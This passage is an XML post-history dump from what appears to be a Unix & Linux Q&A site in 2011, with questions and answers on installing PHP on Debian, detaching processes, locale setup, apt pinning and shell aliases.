  <row Id="19939" PostHistoryTypeId="5" PostId="8455" RevisionGUID="9e4bc940-7bdc-4136-b08b-a38bbed55107" CreationDate="2011-03-02T09:31:08.607" UserId="5247" Comment="deleted 1 characters in body" Text="I have a vps with Debian Linux on it.&#xD;&#xA;&#xD;&#xA;I'm trying to install a php file manager so that people could access it and download stuff into a directory.&#xD;&#xA;&#xD;&#xA;I don't have anything in my /bin about php so this is probably an issue&#xD;&#xA;&#xD;&#xA;I installed php with this command &#xD;&#xA;&#xD;&#xA;    apt-get install php5 php5-cgi php5-cli php5-gd php5-mysql libapache2-mod-php5&#xD;&#xA;and it says&#xD;&#xA;&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    php5 is already the newest version.&#xD;&#xA;    Package php5-cgi is not available, but is referred to by another package.&#xD;&#xA;    This may mean that the package is missing, has been obsoleted, or&#xD;&#xA;    is only available from another source&#xD;&#xA;    E: Package php5-cgi has no installation candidate&#xD;&#xA;It's saying php is already installed? &#xD;&#xA;I try to confirm this by typing `php -v` and it says `Command php not found`&#xD;&#xA;&#xD;&#xA;Why is this and how can I get php running?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19940" PostHistoryTypeId="5" PostId="8454" RevisionGUID="74ac11ff-0078-4721-8929-42efaa7efb50" CreationDate="2011-03-02T09:55:36.300" UserId="688" Comment="added 3 characters in body; edited tags; edited title" Text="How to read an XLS File (Microsoft Excel) using unix Bash / Corn shell script?" />
  <row Id="19941" PostHistoryTypeId="4" PostId="8454" RevisionGUID="74ac11ff-0078-4721-8929-42efaa7efb50" CreationDate="2011-03-02T09:55:36.300" UserId="688" Comment="added 3 characters in body; edited tags; edited title" Text="Reading an Microsoft Excel File" />
  <row Id="19942" PostHistoryTypeId="6" PostId="8454" RevisionGUID="74ac11ff-0078-4721-8929-42efaa7efb50" CreationDate="2011-03-02T09:55:36.300" UserId="688" Comment="added 3 characters in body; edited tags; edited title" Text="ébashàéshellöscriptà" />
  <row Id="19943" PostHistoryTypeId="5" PostId="8455" RevisionGUID="eaf0daf4-2fb7-42d5-b41f-60f95b4becaa" CreationDate="2011-03-02T09:58:18.170" UserId="688" Comment="added 6 characters in body; edited title; added 1 characters in body; edited tags" Text="I have a VPS with Debian GNU/Linux on it. I'm trying to install a PHP file manager so that people could access it and download stuff into a directory.&#xD;&#xA;&#xD;&#xA;I don't have anything in my /bin about PHP so this is probably an issue.&#xD;&#xA;&#xD;&#xA;I installed PHP with this command:&#xD;&#xA;&#xD;&#xA;    apt-get install php5 php5-cgi php5-cli php5-gd php5-mysql libapache2-mod-php5&#xD;&#xA;and it says&#xD;&#xA;&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    php5 is already the newest version.&#xD;&#xA;    Package php5-cgi is not available, but is referred to by another package.&#xD;&#xA;    This may mean that the package is missing, has been obsoleted, or&#xD;&#xA;    is only available from another source&#xD;&#xA;    E: Package php5-cgi has no installation candidate&#xD;&#xA;&#xD;&#xA;It's saying php is already installed? I try to confirm this by typing `php -v` and it says&#xD;&#xA;&#xD;&#xA;    Command php not found&#xD;&#xA;&#xD;&#xA;Why is this and how can I get php running?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19944" PostHistoryTypeId="4" PostId="8455" RevisionGUID="eaf0daf4-2fb7-42d5-b41f-60f95b4becaa" CreationDate="2011-03-02T09:58:18.170" UserId="688" Comment="added 6 characters in body; edited title; added 1 characters in body; edited tags" Text="Installing PHP on Debian" />
  <row Id="19945" PostHistoryTypeId="6" PostId="8455" RevisionGUID="eaf0daf4-2fb7-42d5-b41f-60f95b4becaa" CreationDate="2011-03-02T09:58:18.170" UserId="688" Comment="added 6 characters in body; edited title; added 1 characters in body; edited tags" Text="édebianàéinstallàéaptàéphpà" />
  <row Id="19946" PostHistoryTypeId="2" PostId="8456" RevisionGUID="091e6ebd-44f8-4b69-9ec4-40729b388239" CreationDate="2011-03-02T10:13:09.123" UserId="1653" Text="there are commands to generate the process tree. The  'ps' take options 'fu' , and i think sun has ptree." />
  <row Id="19947" PostHistoryTypeId="2" PostId="8457" RevisionGUID="e96ecd44-e264-4904-990d-7c1017c5f597" CreationDate="2011-03-02T10:14:15.787" UserId="1290" Text="What version of Debian is that? You might run `updatedb` and then `locate php | grep bin`, this should check if there's anything PHP-y installed.&#xD;&#xA;&#xD;&#xA;Also, check if your executable isn't `php-cgi` or `php5-cgi` (you need an extra package for the CLI: `php5-cli`).&#xD;&#xA;&#xD;&#xA;In any event, tell us your Debian version." />
  <row Id="19948" PostHistoryTypeId="2" PostId="8458" RevisionGUID="8497b763-19d6-42ad-bc45-dbead25afce6" CreationDate="2011-03-02T10:48:04.540" UserId="4949" Text="Moving that comment to its own answer, looks like your `/etc/apt/sources.list` is faulty. Edit it to remove the line that contains debian-security, and replace it with &#xD;&#xA;&#xD;&#xA;`deb http://ftp.nl.debian.org/debian/ lenny main contrib non-free`&#xD;&#xA;&#xD;&#xA;for the main distribution,&#xD;&#xA;&#xD;&#xA;`deb http://security.debian.org/ lenny/updates main contrib non-free`&#xD;&#xA;&#xD;&#xA;for security updates, and&#xD;&#xA;&#xD;&#xA;`deb http://volatile.debian.org/debian-volatile lenny/volatile main contrib non-free`&#xD;&#xA;&#xD;&#xA;For so-called 'volatile' updates, then run `apt-get update; apt-get -uf upgrade` to bring your entire system up to date, and then try installing php5-cgi again.&#xD;&#xA;&#xD;&#xA;(ETA: You can replace 'nl' with your own country code to get servers a little closer to your physical location and hopefully better download speeds)" />
  <row Id="19949" PostHistoryTypeId="2" PostId="8459" RevisionGUID="8ce43908-b201-4387-9ca2-cc0a9599577e" CreationDate="2011-03-02T11:01:40.933" UserId="3041" Text="suggestion: do not do that.&#xD;&#xA;&#xD;&#xA;some tools try to talk to root via uid, there you should not have problems. some tools assume your root account is called root, and will break. unless you are prepared to, like, recompile half your system &quot;for fun&quot;, just dont try." />
  <row Id="19950" PostHistoryTypeId="2" PostId="8460" RevisionGUID="2644be88-133a-47b4-b989-4164a3eb0bf0" CreationDate="2011-03-02T11:02:38.833" UserId="4949" Text="With straight-up shell script you're more than likely sunk, but there are at least three Perl modules that can be used to parse excel spreadsheets and extract data from them.&#xD;&#xA;&#xD;&#xA;Fair warning, none of them are particularly pretty, although `Spreadsheet::ParseExcel::Simple` is probably your best bet for a quick solution.&#xD;&#xA;&#xD;&#xA;It's in debian 5.0 (Lenny) as `libspreadsheet-parseexcel-simple-perl`; Other distributions may have their own naming schemes.&#xD;&#xA;&#xD;&#xA;Depending on what you want to do with it a quick perl script should do the trick." />
  <row Id="19951" PostHistoryTypeId="2" PostId="8461" RevisionGUID="a241af99-9617-4905-ab5c-8a5c1a3bbdfe" CreationDate="2011-03-02T11:11:25.253" UserId="4949" Text="Like every unix program that occasionally has cause to send email notifications, `mail` assumes that there is a functioning MTA on localhost that is 1) capable of accepting mail and 2) knows how to pass it on.&#xD;&#xA;&#xD;&#xA;To find out what mail server you're running, try `telnet localhost 25` and look at the identifier string.&#xD;&#xA;&#xD;&#xA;The command `mailq`, if it exists for you, will show you what messages are currently in the local mail server's queue, possibly with an explanation as to why it hasn't been passed on to its destination yet.&#xD;&#xA;&#xD;&#xA;In addition, most distributions by default configure MTAs and syslog to report mail log messages to either `/var/log/mail.log` or similar. Look in `/var/log/` for any file that looks viable, and grep it for 'bar.com' &#xD;&#xA;&#xD;&#xA;Without more information as to what's going on it's hard to offer better advice than this, sorry." />
  <row Id="19952" PostHistoryTypeId="25" PostId="8444" RevisionGUID="471a534b-acc0-41c6-bd60-af7813572773" CreationDate="2011-03-02T11:23:33.603" Comment="http://twitter.com/#!/StackUnix/status/42907893103738881" />
  <row Id="19953" PostHistoryTypeId="2" PostId="8462" RevisionGUID="5f7a9bf7-1900-45b4-83fa-bb13b30377d0" CreationDate="2011-03-02T12:33:50.517" UserId="5250" Text="How to remove a `alias` from current session without closing that session?" />
  <row Id="19954" PostHistoryTypeId="1" PostId="8462" RevisionGUID="5f7a9bf7-1900-45b4-83fa-bb13b30377d0" CreationDate="2011-03-02T12:33:50.517" UserId="5250" Text="Remove alias from current session" />
  <row Id="19955" PostHistoryTypeId="3" PostId="8462" RevisionGUID="5f7a9bf7-1900-45b4-83fa-bb13b30377d0" CreationDate="2011-03-02T12:33:50.517" UserId="5250" Text="éaliasàésessionà" />
  <row Id="19956" PostHistoryTypeId="2" PostId="8463" RevisionGUID="9b315066-ac63-4dcb-a8d4-3255730a657d" CreationDate="2011-03-02T12:38:54.427" UserId="688" Text="Supposing that your alias to **`python`** is `py`, do:&#xD;&#xA;&#xD;&#xA;    $ unalias py&#xD;&#xA;&#xD;&#xA;([via][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://rimuhosting.com/knowledgebase/linux/misc/working-with-aliases" />
  <row Id="19957" PostHistoryTypeId="5" PostId="2547" RevisionGUID="509f6cf7-f032-4cf5-9ad8-187428dbb720" CreationDate="2011-03-02T12:46:27.497" UserId="688" Comment="edited body; edited body" Text="At first, a firewall should be the last step to secure a server. Remove all software and services which are not needed, update your system with the latest available security patches and review your config files.&#xD;&#xA;&#xD;&#xA;Why do you want to avoid iptables? &#xD;&#xA;&#xD;&#xA;&quot;Because I'm a newbie&quot; is no real excuse. A &quot;one click everything secure&quot; firewall doesn't exist, and if a software product uses such a slogan, its likely to be just snakeoil software.&#xD;&#xA;&#xD;&#xA;If you are not experienced in networking basics you will have to learn this for configuring a working firewall. :-)&#xD;&#xA;&#xD;&#xA;If you don't want to create the iptable rules yourself, you have two options:&#xD;&#xA;&#xD;&#xA;* customize existing scripts found on the net&#xD;&#xA;* use a GUI tool to create the rules yourself&#xD;&#xA;&#xD;&#xA;iptables is your interface to the networking layer of the kernel. Nearly every solution for linux will depend on it.&#xD;&#xA;&#xD;&#xA;[Here][1] are [some][2] commented [example][3] scripts/tutorials. You will easily find more with a [google search][4].&#xD;&#xA;&#xD;&#xA;Here is a list of GUI tools you can use to create your iptable rules:&#xD;&#xA;&#xD;&#xA;* [FirewallBuilder][5]&#xD;&#xA;* [EasyChains][6]&#xD;&#xA;* [FireStarter][7]&#xD;&#xA;&#xD;&#xA;A great book about linux servers and security is [&quot;Building Secure Servers with Linux&quot;][8] from O'Reilly.&#xD;&#xA;&#xD;&#xA;Don't get discouraged and sorry for the &quot;hard&quot; words, but a server on the internet is not a toy and you will have some responsibility for this.&#xD;&#xA;&#xD;&#xA;  [1]: http://oceanpark.com/notes/firewall_example.html&#xD;&#xA;  [2]: http://www.linuxhomenetworking.com/wiki/index.php/Quick_HOWTO_:_Ch14_:_Linux_Firewalls_Using_iptables&#xD;&#xA;  [3]: http://networking.ringofsaturn.com/Unix/iptables.php&#xD;&#xA;  [4]: http://www.google.de/search?hl=en&amp;q=iptables+examples+configuration&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;gs_rfai=&#xD;&#xA;  [5]: http://www.fwbuilder.org/&#xD;&#xA;  [6]: http://sourceforge.net/projects/easychains/&#xD;&#xA;  [7]: http://sourceforge.net/projects/firestarter/&#xD;&#xA;  [8]: http://oreilly.com/catalog/9780596002176" />
  <row Id="19958" PostHistoryTypeId="2" PostId="8464" RevisionGUID="009fc841-9c77-4b16-8bf0-10f8637e8a78" CreationDate="2011-03-02T13:01:35.617" UserId="3389" Text="Move /bin/rm to another location (like /bin/original/rm) and replace /bin/rm with a script that, if `$UID` is 0, checks the parameters for specific folders and takes appropriate action, calling /bin/original/rm if needed.  You probably need to check somehow if an interactive user is calling the script, as /bin/rm could be used by system utilities.&#xD;&#xA;" />
  <row Id="19959" PostHistoryTypeId="2" PostId="8465" RevisionGUID="46ff6907-3067-460e-96a7-5d3130c90544" CreationDate="2011-03-02T13:07:09.343" UserId="5098" Text="I'm having trouble getting Ubuntu connected to the internet in vmware fusion. Every other Linux distro has no trouble...&#xD;&#xA;&#xD;&#xA;Ifconfig shows that eth0 is up and running, has been assigned an ipv4 address (DHCP) as well as an ipv6 address. I can ping localhost, but nothing else. It just stalls out. I'm running vmware in NAT (as opposed to bridged) mode, which has worked fine for all other distros I've tried (Debian, BackTrack, openSuse...). I thought Ubuntu was supposed to be ridiculously easy to work with? Seems a lot of people have had this problem, but no clear answers yet.&#xD;&#xA;&#xD;&#xA;Thanks in advance for any guidance!&#xD;&#xA;" />
  <row Id="19960" PostHistoryTypeId="1" PostId="8465" RevisionGUID="46ff6907-3067-460e-96a7-5d3130c90544" CreationDate="2011-03-02T13:07:09.343" UserId="5098" Text="Can't connect to internet in Ubuntu 10.10" />
  <row Id="19961" PostHistoryTypeId="3" PostId="8465" RevisionGUID="46ff6907-3067-460e-96a7-5d3130c90544" CreationDate="2011-03-02T13:07:09.343" UserId="5098" Text="éubuntuàéinternetà" />
  <row Id="19962" PostHistoryTypeId="2" PostId="8466" RevisionGUID="81306a21-0a92-4f4c-82e1-4e97dae09e16" CreationDate="2011-03-02T13:24:31.170" UserId="5098" Text="We'll, my previous assumptions were wrong. I've always read that you should run Linux under NAT in vmware, but I switched to bridged mode and now everything works. My ip address in the virtual machine is now the same as my ip address on the main machine. Hope this little tidbit of info helps someone..." />
  <row Id="19963" PostHistoryTypeId="2" PostId="8467" RevisionGUID="16b79129-cb02-4b31-a0c3-4ace385e30bc" CreationDate="2011-03-02T13:52:19.477" UserId="5239" Text="Hello,&#xD;&#xA;&#xD;&#xA;I managed to get russian language working in my Gnome apps, but neither in the console (Alt-Shift-F2 and such) nor in the Gnome Terminal&#xD;&#xA;&#xD;&#xA;    valyagentoo va1en0k # locale&#xD;&#xA;    LANG=ru_RU.UTF-8&#xD;&#xA;    LC_CTYPE=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_NUMERIC=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_TIME=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_COLLATE=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_MONETARY=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_MESSAGES=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_PAPER=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_NAME=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_ADDRESS=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;ru_RU.UTF-8&quot;&#xD;&#xA;    LC_ALL=ru_RU.UTF-8&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    valyagentoo va1en0k # cat /etc/conf.d/consolefont &#xD;&#xA;    # /etc/conf.d/consolefont&#xD;&#xA;    &#xD;&#xA;    # CONSOLEFONT specifies the default font that you'd like Linux to use on the&#xD;&#xA;    # console.  You can find a good selection of fonts in /usr/share/consolefonts;&#xD;&#xA;    # you shouldn't specify the trailing &quot;.psf.gz&quot;, just the font name below.&#xD;&#xA;    # To use the default console font, comment out the CONSOLEFONT setting below.&#xD;&#xA;    # This setting is used by the /etc/init.d/consolefont script (NOTE: if you do&#xD;&#xA;    &#xD;&#xA;    CONSOLEFONT=&quot;UniCyr-sans&quot;&#xD;&#xA;    &#xD;&#xA;    # CONSOLETRANSLATION is the charset map file to use.  Leave commented to use&#xD;&#xA;    # the default one.  Have a look in /usr/share/consoletrans for a selection of&#xD;&#xA;    # map files you can use.&#xD;&#xA;    &#xD;&#xA;    # CONSOLETRANSLATION=&quot;8859-1_to_uni&quot;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="19964" PostHistoryTypeId="1" PostId="8467" RevisionGUID="16b79129-cb02-4b31-a0c3-4ace385e30bc" CreationDate="2011-03-02T13:52:19.477" UserId="5239" Text="russian letters in gentoo console as '?'" />
  <row Id="19965" PostHistoryTypeId="3" PostId="8467" RevisionGUID="16b79129-cb02-4b31-a0c3-4ace385e30bc" CreationDate="2011-03-02T13:52:19.477" UserId="5239" Text="ébashàégentooàéfontsàécharacteröencodingà" />
  <row Id="19966" PostHistoryTypeId="2" PostId="8468" RevisionGUID="9e5848ee-22d8-451c-9bee-785a19a3248b" CreationDate="2011-03-02T13:57:00.350" UserId="2567" Text="It is hard to work with closed format like the old Office formats, &#xD;&#xA;convert it into a xml based format using Office/OpenOffice/LibreOffice.&#xD;&#xA;&#xD;&#xA;Then use xsltproc (or some other xml parser) to get the data in a way that you can work with." />
  <row Id="19967" PostHistoryTypeId="2" PostId="8469" RevisionGUID="4baf1c31-420d-4612-bae0-1d4479c8dd10" CreationDate="2011-03-02T14:15:11.260" UserId="5239" Text="Hello,&#xD;&#xA;&#xD;&#xA;sometimes I run an app in the gnome-terminal, but then I suddenly have to restart gnome or something. I guess the answer to the question is also useful then I want to disconnect from SSH where something is happenning.&#xD;&#xA;&#xD;&#xA;Gnome's terminal tree looks like this:&#xD;&#xA;&#xD;&#xA;    gnome-terminal&#xD;&#xA;        bash&#xD;&#xA;            some-boring-process&#xD;&#xA;&#xD;&#xA;Can I 'detach' `bash` from `gnome-terminal` (or detach `some-boring-process` from bash and redirect its output somewhere)? If I just kill `gnome-terminal`, `bash` will be killed to will all its subprocesses" />
  <row Id="19968" PostHistoryTypeId="1" PostId="8469" RevisionGUID="4baf1c31-420d-4612-bae0-1d4479c8dd10" CreationDate="2011-03-02T14:15:11.260" UserId="5239" Text="kill a parent process without killing its child" />
  <row Id="19969" PostHistoryTypeId="3" PostId="8469" RevisionGUID="4baf1c31-420d-4612-bae0-1d4479c8dd10" CreationDate="2011-03-02T14:15:11.260" UserId="5239" Text="ébashàéterminalàéprocessàékillà" />
  <row Id="19970" PostHistoryTypeId="2" PostId="8470" RevisionGUID="24653ed8-b842-4d92-aeef-6913b9102103" CreationDate="2011-03-02T14:17:07.730" UserId="3976" Text="This is exactly what [screen][1] and [tmux][2] were created for.  You run the shell inside the screen/tmux session, and you can disconnect/reconnect at will.  You can also have multiple shell sessions running inside one gnome-terminal.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/screen/&#xD;&#xA;  [2]: http://tmux.sourceforge.net/" />
  <row Id="19971" PostHistoryTypeId="2" PostId="8471" RevisionGUID="118845a4-215d-4123-b163-e3bb11fd327f" CreationDate="2011-03-02T14:19:48.053" UserId="916" Text="[`screen`][screen-man], [`tmux`][tmux-man], or [`dtach`][dtach-man] (possibly with [`dvtm`][dvtm-man]) are all great for this, but if it's something where you didn't think to use one of those, you may be able to leverage [`nohup`][nohup-wikipedia].&#xD;&#xA;&#xD;&#xA;[nohup-wikipedia]: http://en.wikipedia.org/wiki/Nohup&#xD;&#xA;[tmux-man]: http://www.openbsd.org/cgi-bin/man.cgi?query=tmux&amp;sektion=1&#xD;&#xA;[screen-man]: http://www.manpagez.com/man/1/screen/&#xD;&#xA;[dtach-man]: http://linux.die.net/man/1/dtach&#xD;&#xA;[dvtm-man]: http://manpages.ubuntu.com/manpages/jaunty/man1/dvtm.1.html" />
  <row Id="19972" PostHistoryTypeId="25" PostId="8462" RevisionGUID="971ccde8-01fd-4279-948e-3cd5b4cda0f6" CreationDate="2011-03-02T14:23:33.667" Comment="http://twitter.com/#!/StackUnix/status/42953191939244032" />
  <row Id="19973" PostHistoryTypeId="2" PostId="8472" RevisionGUID="8bfd4fa3-77ec-4f41-9a60-649c6192b1d7" CreationDate="2011-03-02T14:33:56.087" UserId="4520" Text="If I fire something up which I want to finish no matter what (short of system reboot), I use `nohup` and run it in the background.  Unlike screen and the like you can't reattach to the processs. However, baring redirection elsewhere any output can be found in `nohup.out`. &#xD;&#xA;&#xD;&#xA;I do use `screen` when I want to be able to switch terminals for a process. Such as starting a process from home/work and switching to the other.  Like any other terminal session output will eventual scroll off the top of the buffer." />
  <row Id="19975" PostHistoryTypeId="2" PostId="8474" RevisionGUID="ec2dd5c4-f7c9-439b-beb6-e2d3c6d2a823" CreationDate="2011-03-02T14:45:08.417" UserId="4520" Text="Just read the squid.conf file. The default installation on Ubuntu only works for localhost.  You will need to set up an ACL to enable access.  This can include any address or address you choose.&#xD;&#xA;&#xD;&#xA;You may want to review instructions for [Setting up a Squid Proxy on Ubuntu][1]. They should be applicable to most platforms.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.systemajik.com/blog/setting-up-squid-proxy-on-ubuntu/" />
  <row Id="19976" PostHistoryTypeId="2" PostId="8475" RevisionGUID="b3f06fba-c10c-41e3-8a5b-894261cbad75" CreationDate="2011-03-02T15:10:18.067" UserId="4667" Text="If `some-boring-process` is running in your current bash session:&#xD;&#xA;&#xD;&#xA; 1. halt it with `ctrl-z` to give you the bash prompt&#xD;&#xA; 2. put it in the background with `bg`&#xD;&#xA; 3. note the job number, or use the `jobs` command&#xD;&#xA; 4. detach the process from this bash session with `disown -h %1` (substitute the actual job number there).&#xD;&#xA;&#xD;&#xA;But seriously, look into screen. I have shells on a remote server that have been running for months." />
  <row Id="19977" PostHistoryTypeId="2" PostId="8476" RevisionGUID="9f6fda27-e907-4017-a19e-418b9f674037" CreationDate="2011-03-02T15:10:58.567" UserId="2163" Text="I ran `mv a-folder /home/me` on a machine and half way through the move the destination device filled up.&#xD;&#xA;&#xD;&#xA;`a-folder` was made up of folders and files in various subdirectories.&#xD;&#xA;&#xD;&#xA;Does `mv` leave the source folder intact until the move has successfully completed?&#xD;&#xA;&#xD;&#xA;**The source and destination folders were on different filesystems.**&#xD;&#xA;&#xD;&#xA;The reason I ask is that I ran this command on the wrong machine, so if the source folder is intact then that makes my life a lot easier :)" />
  <row Id="19978" PostHistoryTypeId="1" PostId="8476" RevisionGUID="9f6fda27-e907-4017-a19e-418b9f674037" CreationDate="2011-03-02T15:10:58.567" UserId="2163" Text="mv failed halfway through - is source directory intact" />
  <row Id="19979" PostHistoryTypeId="3" PostId="8476" RevisionGUID="9f6fda27-e907-4017-a19e-418b9f674037" CreationDate="2011-03-02T15:10:58.567" UserId="2163" Text="éunixàérenameà" />
  <row Id="19980" PostHistoryTypeId="5" PostId="8475" RevisionGUID="217f4869-068c-40a3-831e-58675f116c5e" CreationDate="2011-03-02T15:15:50.777" UserId="4667" Comment="added 117 characters in body" Text="If `some-boring-process` is running in your current bash session:&#xD;&#xA;&#xD;&#xA; 1. halt it with `ctrl-z` to give you the bash prompt&#xD;&#xA; 2. put it in the background with `bg`&#xD;&#xA; 3. note the job number, or use the `jobs` command&#xD;&#xA; 4. detach the process from this bash session with `disown -h %1` (substitute the actual job number there).&#xD;&#xA;&#xD;&#xA;That doesn't do anything to redirect the output -- you have to think of that when you launch your boring process.&#xD;&#xA;&#xD;&#xA;But seriously, look into screen. I have shells on a remote server that have been running for months." />
  <row Id="19981" PostHistoryTypeId="2" PostId="8477" RevisionGUID="71372b36-c134-4c85-9864-deeae9e02084" CreationDate="2011-03-02T15:17:30.673" UserId="29" Text="No your source folder is not intact... I'm not sure how `mv`. on the same file system all it does is adds and removed directory entries. But on a different filesystem... I'm not sure at what point it unlinks the file, and whether it removes data as it goes... but once a file is moved, it is unlinked. This is unless of course you used a special option. [This question]( http://unix.stackexchange.com/q/4936/29) might interest you in the future." />
  <row Id="19982" PostHistoryTypeId="2" PostId="8478" RevisionGUID="c0dddf22-5ddd-46f7-b2b3-a67319fd37a8" CreationDate="2011-03-02T15:19:15.100" UserId="5255" Text="Apt pinning is a feature that allows to set install priority for a group of packages, determined by a number of attributes, such as package version, repository, distro version, etc.&#xD;&#xA;&#xD;&#xA;See man apt_preferences for more ([http://linux.die.net/man/5/apt_preferences][1])&#xD;&#xA;&#xD;&#xA;Quote:&#xD;&#xA;&gt;APT then applies the following rules, listed in order of precedence, to determine which version of a package to install.&#xD;&#xA;&#xD;&#xA;&gt;- Never downgrade unless the priority of an available version exceeds 1000. (&quot;Downgrading&quot; is installing a less recent version of a package in place of a more recent version. Note that none of APT's default priorities exceeds 1000; such high priorities can only be set in the preferences file. Note also that downgrading a package can be risky.)&#xD;&#xA;&gt;- Install the highest priority version.&#xD;&#xA;&gt;- If two or more versions have the same priority, install the most recent one (that is, the one with the higher version number).&#xD;&#xA;&gt;- If two or more versions have the same priority and version number but either the packages differ in some of their metadata or the --reinstall option is given, install the uninstalled one.&#xD;&#xA;&#xD;&#xA;Is there anything like that for Fedora? In other rpm-based distros?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/5/apt_preferences" />
  <row Id="19983" PostHistoryTypeId="1" PostId="8478" RevisionGUID="c0dddf22-5ddd-46f7-b2b3-a67319fd37a8" CreationDate="2011-03-02T15:19:15.100" UserId="5255" Text="Is there an analog of apt-pinning in Fedora?" />
  <row Id="19984" PostHistoryTypeId="3" PostId="8478" RevisionGUID="c0dddf22-5ddd-46f7-b2b3-a67319fd37a8" CreationDate="2011-03-02T15:19:15.100" UserId="5255" Text="élinuxàéfedoraà" />
  <row Id="19985" PostHistoryTypeId="2" PostId="8479" RevisionGUID="49b8cb5d-256e-4c9c-bbc8-1fc836148aa5" CreationDate="2011-03-02T15:36:17.867" UserId="4671" Text="Apt is available for Fedora, and is just a port of the Debian one afaik. So you could use pinning with that." />
  <row Id="19986" PostHistoryTypeId="2" PostId="8480" RevisionGUID="ad255b95-7011-4ffd-9a76-644155a637e4" CreationDate="2011-03-02T15:41:55.877" UserId="4648" Text="Have you enabled the `unicode` useflag? Without it &lt;strike&gt;`bash`&lt;/strike&gt; (correction: bash should have Unicode support through libreadline) and `zsh` won't be compiled with Unicode support. Also, `ksh` and `tcsh` don't support Unicode at all. Of course, it might also be your locale or font selections, but they look fine from what I can gather.&#xD;&#xA;&#xD;&#xA;Also, take a look at [Using UTF-8 with Gentoo][1] guide from the Gentoo documentation.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/utf-8.xml" />
  <row Id="19987" PostHistoryTypeId="5" PostId="8480" RevisionGUID="30a98476-7b02-4473-a869-483a07d93936" CreationDate="2011-03-02T15:47:39.337" UserId="4648" Comment="made a list (I think it's clearer that way)" Text="Here are some of my suggestions:&#xD;&#xA;&#xD;&#xA;* Have you enabled the `unicode` useflag? Without it `zsh` won't be compiled with Unicode support. If you're using `bash`, it should have Unicode support through libreadline. Also, `ksh` and `tcsh` don't support Unicode at all. &#xD;&#xA;* It could also be your locale or font selections, but they look fine from what I can gather. Just make sure to list your locale in `/etc/locale.gen` and generate it with `locale-gen` on the command line.&#xD;&#xA;&#xD;&#xA;Also, take a look at the [Using UTF-8 with Gentoo][1] guide from the Gentoo documentation.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/utf-8.xml" />
  <row Id="19988" PostHistoryTypeId="2" PostId="8481" RevisionGUID="d623f3a8-4b74-4660-a17c-8f3de24af564" CreationDate="2011-03-02T16:32:56.420" UserId="5259" Text="I am trying to create an alias to use in my Cygwin shell to determine if the Mercurial-managed directory I'm currently in has outstanding changes.  The command &quot;hg st -m&quot; lists all modified files.  Unfortunately it doesn't set an exit value based on whether there are changes or not.  So I have tried capturing the output and seeing if it's not empty, piping it through &quot;wc -l&quot; and checking if that's -gt 0, but I seem to have a larger problem in that lines are clearly not executing in the order I would expect them to.&#xD;&#xA;&#xD;&#xA;Here is what I've boiled it down to:&#xD;&#xA;&#xD;&#xA;    alias hgfoo='&#xD;&#xA;    pwd&#xD;&#xA;    echo L1&#xD;&#xA;    localChanges=&quot;NOT SET YET&quot;&#xD;&#xA;    hasLocal=&quot;NOT SET YET&quot;&#xD;&#xA;    echo &quot;Before: A${localChanges}Z A${hasLocal}Z&quot;&#xD;&#xA;    localChanges=`hg st -m`&#xD;&#xA;    echo L2&#xD;&#xA;    echo &quot;localChanges: A${localChanges}Z&quot;&#xD;&#xA;    echo L3&#xD;&#xA;    if [ -n &quot;${localChanges}&quot; ] ; then&#xD;&#xA;    	echo L3&#xD;&#xA;    	hasLocal=&quot;YES&quot;&#xD;&#xA;    else&#xD;&#xA;    	echo L4&#xD;&#xA;    	hasLocal=&quot;NO&quot;&#xD;&#xA;    fi&#xD;&#xA;    echo L5&#xD;&#xA;    echo &quot;RESULTS: A${hasLocal}Z&quot;&#xD;&#xA;    echo L6&#xD;&#xA;    '&#xD;&#xA;I put in the &quot;Ln&quot; echo statements for debugging.  When I run it by typing in &quot;hgfoo&quot; in a directory that has changes, I see the following output:&#xD;&#xA;&#xD;&#xA;    /d/hg/succession &gt; hgfoo&#xD;&#xA;    /d/hg/succession&#xD;&#xA;    L1&#xD;&#xA;    Before: ANOT SET YETZ ANOT SET YETZ&#xD;&#xA;    L2&#xD;&#xA;    localChanges: AL2&#xD;&#xA;    localChanges: ANOT SET YETZ&#xD;&#xA;    L3&#xD;&#xA;    L3&#xD;&#xA;    L5&#xD;&#xA;    RESULTS: AYESZ&#xD;&#xA;    L6&#xD;&#xA;    M succession-lib\.actionScriptProperties&#xD;&#xA;    M succession-lib\src\main\flex\com\workscape\SuccessionConstants.as&#xD;&#xA;    M succession-lib\src\main\flex\com\workscape\succession\nomination\tabmodules\BenchStrengthTab.mxml&#xD;&#xA;    M succession-lib\src\main\flex\com\workscape\succession\nomination\tabmodules\BenchStrengthTabMediator.as&#xD;&#xA;    M succession-lib\src\main\flex\com\workscape\succession\puremvc\controller\StartupSuccession.asZ&#xD;&#xA;    L3&#xD;&#xA;    L3&#xD;&#xA;    L5&#xD;&#xA;    RESULTS: AYESZ&#xD;&#xA;    L6&#xD;&#xA;&#xD;&#xA;When I run it in a directory without changes, I 